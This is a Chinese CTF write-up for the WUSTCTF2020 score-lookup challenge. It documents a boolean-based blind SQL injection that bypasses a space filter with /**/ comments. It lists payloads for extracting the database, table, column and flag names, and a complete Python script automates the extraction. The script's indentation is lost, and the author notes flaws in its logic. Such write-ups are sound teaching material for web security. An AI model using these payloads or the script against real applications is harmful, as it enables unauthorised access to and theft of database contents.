分享下自己在完成[WUSTCTF2020]顏值成績查詢-1關卡的手工過程和自動化指令碼。
1、通過payload:1,payload:1 ,payload:1 or 1=1--+,進行判斷是否存在注入,顯示不存在該學生,通過兩個分析,可以確認服務端對空格進行了過濾,(注意兩個payload後面,其中一個帶空格),結果如下:
2、修改payload為以下兩個:payload:1/**/and/**/1=1#,payload:1/**/and/**/1=2#,發現回顯資訊前者正常,後者異常,結果如下:
3、因為頁面只返回正確和錯誤的資訊,無法根據別的資訊進行判斷,因此考慮布林注入,首先通過布林注入判斷資料庫名字的長度,payload:1/**/and/**/length(database())=n#,通過修改n的引數獲得資料庫的名字的長度,示例如下:
4、知道了資料庫長度之後通過一個字元一個字元的比對來獲取資料庫的名字,payload:1/**/and/**/substr(database(),1,1)=’a’#,通過修改字元a,最終獲得資料庫名字為ctf,結果如下:
5、獲取資料庫名稱之後,獲取資料庫內表的數量和名稱長度,payload:1/**/and/**/length((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema='ctf'/**/limit/**/0,1))=4--+,下面第三張圖中條件可以替換>0,結果如下:
6、知道了表的長度後,一個字元一個字元進行比對來獲取表的名字,payload:1/**/and/**/substr((select/**/ table_name/**/from/**/information_schema.tables/**/where/**/table_schema='ctf'/**/limit/**/0,1),1,1)='f'--+最終獲得表的名字為flag和score,結果如下:
7、通過獲取的表名來獲取列的數量,payload: 1/**/and/**/length((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name=%27flag%27/**/limit/**/0,1))=4--+,獲得列的長度分別為4和5,結果如下:
8、通過獲取的列的長度來獲取列的名字,payload:1/**/and/**/substr((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='flag'/**/limit/**/1,1),1,1)='v'--+,最終獲得flag表的列明為flag、value,score表的列明為id、name、score,結果如下:
9、通過獲取的列名資訊來獲取flag值長度,payload:1/**/and/**/length((select/**/value/**/from/**/flag/**/limit/**/0,1))=42--+,結果如下:
10、知道了flag的長度之後,通過字串逐步獲取flag值,payload:1/**/and/**/substr((select/**/value/**/from/**/flag/**/limit/**/0,1),1,1)='f'--+,結果如下:
補充:這個手工不太現實,但是手工的思路是一定得知道,具體得資料肯定得通過指令碼才可以獲得,下面給出指令碼得程式碼和結果:
原始碼:因為在最終獲取資料得時候,開始寫的是優先獲取列的全部資料,這裡邏輯出了一點問題,應該是優先獲取行得資料,因為表裡資料量很少,所以沒什麼問題,當資料量大得時候會有一點問題,找時間在改一下吧,獲取資訊時未新增延時函式,取得資訊偶爾會存在錯誤,就從新執行下或則自己新增以下延時函式。
import requests
import time
# 獲取資料庫資訊
def get_db_info(strings, url, success):
db_length = 1
now_db_length = 1
while db_length > 0:
get_db_url = url + '/**/and/**/length(database())=' + str(db_length) + '#'
result = requests.get(get_db_url).content.decode('utf-8')
if success in result:
print('資料庫長度為:' + str(db_length))
break
db_length = db_length + 1
db_name = ''
while now_db_length < db_length + 1:
for one_char in strings:
get_db_url = url + '/**/and/**/substr(database(),' + str(now_db_length) + ',1)=%27' + one_char + '%27#'
result = requests.get(get_db_url).content.decode('utf-8')
if success in result:
db_name = db_name + one_char
break
now_db_length = now_db_length + 1
print("\r", end="")
print('資料庫名字為:' + db_name, end='')
return db_name
# 獲取資料庫內表的資訊
def get_table_info(strings, url, success, db_name):
table_names = []
table_num = 0
while table_num >= 0:
get_table_url = url + '/**/and/**/length((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=%27' + db_name + '%27/**/limit/**/' + str(
table_num) + ',1))>0--+'
result = requests.get(get_table_url).content.decode('utf-8')
if success in result:
table_num = table_num + 1
else:
break
print('資料庫內表的數量為:' + str(table_num))
# 獲得表的數量,但是需要+1,然後依次獲取每個表的名稱長度
now_table_num = 0
while now_table_num < table_num:
length = 1
while length > 0:
get_table_url = url + '/**/and/**/length((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=%27' + db_name + '%27/**/limit/**/' + str(
now_table_num) + ',1))=' + str(length) + '--+'
result = requests.get(get_table_url).content.decode('utf-8')
if success in result:
break
length = length + 1
now_length = 1
table_name = ''
while now_length < length + 1:
# 新增for迴圈獲取字元
for one_char in strings:
get_table_url = url + '/**/and/**/substr((select/**/ table_name/**/from/**/information_schema.tables/**/where/**/table_schema=%27' + db_name + '%27/**/limit/**/' + str(
now_table_num) + ',1),' + str(now_length) + ',1)=%27' + one_char + '%27--+'
result = requests.get(get_table_url).content.decode('utf-8')
time.sleep(0.1)
if success in result:
table_name = table_name + one_char
print("\r", end="")
print('表' + str(now_table_num + 1) + '名字為:' + table_name, end='')
break
now_length = now_length + 1
print('')
table_names.append(table_name)
# 開始指向下一個表
now_table_num = now_table_num + 1
return table_names
# 通過表名來獲取表內列的資訊,在必要的時候可以修改sql語句,通過db_name限制
def get_column_info(strings, url, success, db_name, table_names):
# 開始獲取第一個表內的列
for i in range(0, len(table_names)):
column_names = []
column_num = 0
# 獲取第一個表內列的數量
while column_num >= 0:
get_column_url = url + '/**/and/**/length((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name=%27' + str(
table_names[i]) + '%27/**/limit/**/' + str(column_num) + ',1))>0--+'
result = requests.get(get_column_url).content.decode('utf-8')
if success in result:
column_num = column_num + 1
else:
print(str(table_names[i]) + '表的列數量為:' + str(column_num))
for now_column_num in range(0, column_num):
length = 1
while length >= 0:
get_column_url = url + '/**/and/**/length((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name=%27' + str(
table_names[i]) + '%27/**/limit/**/' + str(now_column_num) + ',1))=' + str(length) + '--+'
result = requests.get(get_column_url).content.decode('utf-8')
if success in result:
# 獲取列明
now_length = 1
column_name = ''
# for one_char in strings:
while now_length < length + 1:
for one_char in strings:
get_column_url = url + '/**/and/**/substr((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name=%27' + str(
table_names[i]) + '%27/**/limit/**/' + str(now_column_num) + ',1),' + str(
now_length) + ',1)=%27' + str(one_char) + '%27--+'
result = requests.get(get_column_url).content.decode('utf-8')
if success in result:
column_name = column_name + str(one_char)
now_length = now_length + 1
print("\r", end="")
print('第' + str(now_column_num + 1) + '列的名稱為:' + column_name, end='')
break
column_names.append(column_name)
print('')
break
else:
length = length + 1
break
# 讀取第表內的資料
get_data(strings, url, success, db_name, table_names[i], column_names)
# 定義讀取表內資料的函式
def get_data(strings, url, success, db_name, table_names, column_names):
print('開始獲取表內資料------------------------------------------')
# for i in range(0, len(table_names)):
for k in range(0, len(column_names)):
# 判斷是否存在第k列
row = 0
while row >= 0:
get_data_url = url + '/**/and/**/length((select/**/' + str(column_names[k]) + '/**/from/**/' + str(
table_names) + '/**/limit/**/' + str(row) + ',1))>0--+'
result = requests.get(get_data_url).content.decode('utf-8')
if success in result:
row = row + 1
# 如果存在此列,就判斷此列的資料長度
length = 0
while length >= 0:
get_data_url = url + '/**/and/**/length((select/**/' + str(
column_names[k]) + '/**/from/**/' + str(table_names) + '/**/limit/**/' + str(
row - 1) + ',1))=' + str(length) + '--+'
result = requests.get(get_data_url).content.decode('utf-8')
if success in result:
# 獲得資料的長度
break
else:
length = length + 1
# 獲取此列的資料內容
now_length = 1
data = ''
while now_length < length + 1:
for one_char in strings:
get_data_url = url + '/**/and/**/substr((select/**/' + str(
column_names[k]) + '/**/from/**/' + str(table_names) + '/**/limit/**/' + str(
row - 1) + ',1),' + str(now_length) + ',1)=%27' + str(one_char) + '%27--+'
result = requests.get(get_data_url).content.decode('utf-8')
if success in result:
data = data + one_char
print("\r", end="")
print(column_names[k] + '列的第' + str(row) + '行資料為:' + data, end='')
break
now_length = now_length + 1
else:
break
print('')
if __name__ == '__main__':
strings = 'abcdefghijklmnopqrstuvwxyz1234567890_{}-~'
url = 'http://e52fe529-3073-41cc-8593-902fc8164090.node4.buuoj.cn:81/?stunum=1'
success = 'your score is: 100'
print('可以獲取資料庫內全部表的資訊,但獲取當前表的值需要修改success值')
print('失敗結果是一致的,可以修改為success為失敗的值,則可以獲取當前表資料')
print('開始獲取資料庫資訊---------------------------------------')
db_name = get_db_info(strings, url, success)
print('\n開始獲取資料庫內表資訊------------------------------------')
table_names = get_table_info(strings, url, success, db_name)
print('開始獲取表結構資訊-----------------------------------------')
get_column_info(strings, url, success, db_name, table_names)
print('獲取表資料資訊結束-----------------------------------------')